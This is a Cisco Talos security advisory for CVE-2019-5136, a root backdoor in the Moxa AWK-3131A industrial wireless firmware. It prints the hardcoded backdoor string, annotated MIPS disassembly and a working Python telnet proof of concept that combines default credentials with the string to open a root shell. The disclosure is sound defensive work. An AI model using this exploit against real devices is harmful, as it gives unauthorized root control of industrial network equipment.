Headline
CVE-2019-5136: TALOS-2019-0925 || Cisco Talos Intelligence Group
An exploitable privilege escalation vulnerability exists in the iw_console functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted menu selection string can cause an escape from the restricted console, resulting in system access as the root user. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.
Summary
An exploitable privilege escalation vulnerability exists in the iw_console functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted menu selection string can cause an escape from the restricted console, resulting in system access as the root user. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.
Tested Versions
Moxa AWK-3131A Firmware version 1.13
Product URLs
http://www.moxa.com/product/AWK-3131A.htm
CVSSv3 Score
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-284: Improper Access Control
Details
The Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless networking appliance intended for use in industrial environments. It is designed to provide wireless communication capabilities to the environments in which it is deployed. Communication with the device is possible using HTTP, Telnet, and SSH.
When a legitimate user uses Telnet or SSH to log into the device they are presented with a restricted shell known as iw_console. iw_console allows the user to make various configuration changes, but is not intended to give that user access to the underlying system. When interacting with iw_console, the user is first presented with a ‘Main Menu’ where they are instructed to enter a character indicating their choice from a list of options, as shown below:
<< Main Menu >>
(1) System Info Settings
(2) Network Settings
(3) Time Settings
(4) Maintenance
(5) Restart
(q) Quit
Key in your selection:
During normal operation if a user types more than one character, or chooses an option that is not listed, iw_console prints an error message and prompts again for input. If, however, the user enters the specific string “94jo3dkru4 moxaiwroot” then iw_console will drop the user into a full root shell. When entering the backdoor string it will appear that only the first character has been accepted, however the console continues to read input until a newline is received. This can be seen below:
<< Main Menu >>
(1) System Info Settings
(2) Network Settings
(3) Time Settings
(4) Maintenance
(5) Restart
(q) Quit
Key in your selection: 9~ # whoami
root
~ #
This backdoor appears to have been introduced during a patch following the use of the same values as login credentials as disclosed in TALOS-2016-0231 on firmware version 1.1.
Disassembly for the relevant blocks can be seen below:
#
# sub_402628
#
...
00402970 2444a230 addiu $a0, $v0, -0x5dd0 {0x41a230, "Key in your selection: "} # prep prompt message
00402974 8f82802c lw $v0, -0x7fd4($gp) {conio_writestr} {0x41a7cc}
00402978 0040c821 move $t9, $v0 {conio_writestr}
0040297c 0411fc92 bal conio_writestr # call conio_writestr to print the msg to stdout
00402980 00000000 nop
00402984 8fdc0018 lw $gp, 0x18($fp) {var_70} {0x4227a0}
00402988 afc00024 sw $zero, 0x24($fp) {var_64} {0x0}
0040298c 08100a71 j 0x4029c4
00402990 00000000 nop
... # trimming setup code
004029f4 00402021 move $a0, $v0 {var_50}
004029f8 24050002 addiu $a1, $zero, 2
004029fc 00003021 move $a2, $zero {0x0}
00402a00 00003821 move $a3, $zero {0x0}
00402a04 8f828044 lw $v0, -0x7fbc($gp) {conio_readstr} {0x41a7e4}
00402a08 0040c821 move $t9, $v0 {conio_readstr}
00402a0c 0411fb99 bal conio_readstr # call to conio_readstr to get the user input
00402a10 00000000 nop # $v0 will be set to '0x63' when the backdoor is used
... # trimming checks to make sure there wasn't a failure in conio_readstr
00402a70 8fc30030 lw $v1, 0x30($fp) {var_58_1}
00402a74 24020063 addiu $v0, $zero, 0x63
00402a78 14620012 bne $v1, $v0, 0x402ac4 # checking to see if $v0 contains the value '0x63' (c)
00402a7c 00000000 nop
00402a80 8f82803c lw $v0, -0x7fc4($gp) {conio_end} {0x41a7dc}
00402a84 0040c821 move $t9, $v0 {conio_end}
00402a88 0411f9e9 bal conio_end
00402a8c 00000000 nop
00402a90 8fdc0018 lw $gp, 0x18($fp) {var_70}
00402a94 3c020041 lui $v0, 0x41
00402a98 24449484 addiu $a0, $v0, -0x6b7c {0x409484, "/bin/sh"}
00402a9c 8f828098 lw $v0, -0x7f68($gp) {iw_system_quiet}
00402aa0 0040c821 move $t9, $v0
00402aa4 0320f809 jalr $t9 # calls iw_system_quiet with the param '/bin/bash'
00402aa8 00000000 nop
...
#
# conio_readstr
#
...
0040191c 27c20028 addiu $v0, $fp, 0x28 {var_10}
00401920 00402021 move $a0, $v0 {var_10}
00401924 00002821 move $a1, $zero {0x0}
00401928 0c1005a4 jal conio_getch # calls conio_getch which is intended to only read one character
0040192c 00000000 nop # when the backdoor is used it returns the value '0x63'
00401930 8fdc0010 lw $gp, 0x10($fp) {var_28}
00401934 afc20024 sw $v0, 0x24($fp) {var_14_1} # stores the return value (0x63) into var_14_1
00401938 8fc30024 lw $v1, 0x24($fp) {var_14_1} # loads $v1 with var_14_1
0040193c 24020063 addiu $v0, $zero, 0x63 # loads $v0 with 0x63
00401940 14620004 bne $v1, $v0, 0x401954 # checks to see if the $v1 (the return value) is equal to 0x63
00401944 00000000 nop # continues since it is
00401948 24020063 addiu $v0, $zero, 0x63 # loads the conio_readstr return value with 0x63 and jumps to the end
0040194c 081006ec j 0x401bb0
00401950 00000000 nop
...
00401bb0 03c0e821 move $sp, $fp
00401bb4 8fbf0034 lw $ra, 0x34($sp) {__saved_$ra}
00401bb8 8fbe0030 lw $fp, 0x30($sp) {__saved_$fp}
00401bbc 27bd0038 addiu $sp, $sp, 0x38
00401bc0 03e00008 jr $ra # returns to sub_402628 with return value of 0x63
00401bc4 00000000 nop
...
#
# conio_getch
#
...
004017c0 3c020042 lui $v0, 0x42
004017c4 ac40a95c sw $zero, -0x56a4($v0) {0x0} {data_41a95c}
004017c8 3c020041 lui $v0, 0x41
004017cc 24448340 addiu $a0, $v0, -0x7cc0 {0x408340, "94jo3dkru4 moxaiwroot"} # sets the first arg to the backdoor string
004017d0 3c020042 lui $v0, 0x42
004017d4 2445a960 addiu $a1, $v0, -0x56a0 {0x41a960} # sets the second arg to the user input
004017d8 8f828078 lw $v0, -0x7f88($gp) {strcmp}
004017dc 0040c821 move $t9, $v0
004017e0 0320f809 jalr $t9 # compares the backdoor string with the user input
004017e4 00000000 nop
004017e8 8fdc0010 lw $gp, 0x10($fp) {var_18}
004017ec 1440001a bne $v0, $zero, 0x401858 # does not jump when the user input is the backdoor string
004017f0 00000000 nop
004017f4 3c020042 lui $v0, 0x42
004017f8 2444a960 addiu $a0, $v0, -0x56a0 {0x41a960}
004017fc 00002821 move $a1, $zero {0x0}
00401800 24060019 addiu $a2, $zero, 0x19
00401804 8f828104 lw $v0, -0x7efc($gp) {memset}
00401808 0040c821 move $t9, $v0
0040180c 0320f809 jalr $t9
00401810 00000000 nop
00401814 8fdc0010 lw $gp, 0x10($fp) {var_18} {0x4227a0}
00401818 24020063 addiu $v0, $zero, 0x63 # sets the conio_getch return value to 0x63
0040181c 08100617 j 0x40185c
00401820 00000000 nop
...
0040185c 03c0e821 move $sp, $fp
00401860 8fbf0024 lw $ra, 0x24($sp) {__saved_$ra}
00401864 8fbe0020 lw $fp, 0x20($sp) {__saved_$fp}
00401868 27bd0028 addiu $sp, $sp, 0x28
0040186c 03e00008 jr $ra # returns to conio_readstr with the return value of 0x63
00401870 00000000 nop
...
Exploit Proof of Concept
import telnetlib
import socket
def main():
# define some required params
rhost = "192.168.127.253"
username = "admin"
password = "moxa"
payload = "94jo3dkru4 moxaiwroot"
command = "whoami"
rport = 4444
# format the params into messages
usernameMsg = "{}\n".format(username)
passwordMsg = "{}\n".format(password)
payloadMsg = "{}\n".format(payload)
cmdMsg = "\n telnetd -l{} -p{} \n".format(command, rport)
# interact with the telnet window
# device name is set and then the device is rebooted
tn = telnetlib.Telnet(rhost)
tn.read_until("login: ")
tn.write(usernameMsg)
tn.read_until("Password: ")
tn.write(passwordMsg)
tn.read_until("selection: ")
tn.write(payloadMsg)
tn.read_until("#")
tn.write(cmdMsg)
# open up a socket and connect to the newly opened telnet port
# the response should be the output of your command
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
s.close()
if __name__ == '__main__':
main()
Timeline
2019-10-22 - Vendor Disclosure
2020-02-24 - Public Release
Discovered by Jared Rittle and Carl Hurd of Cisco Talos.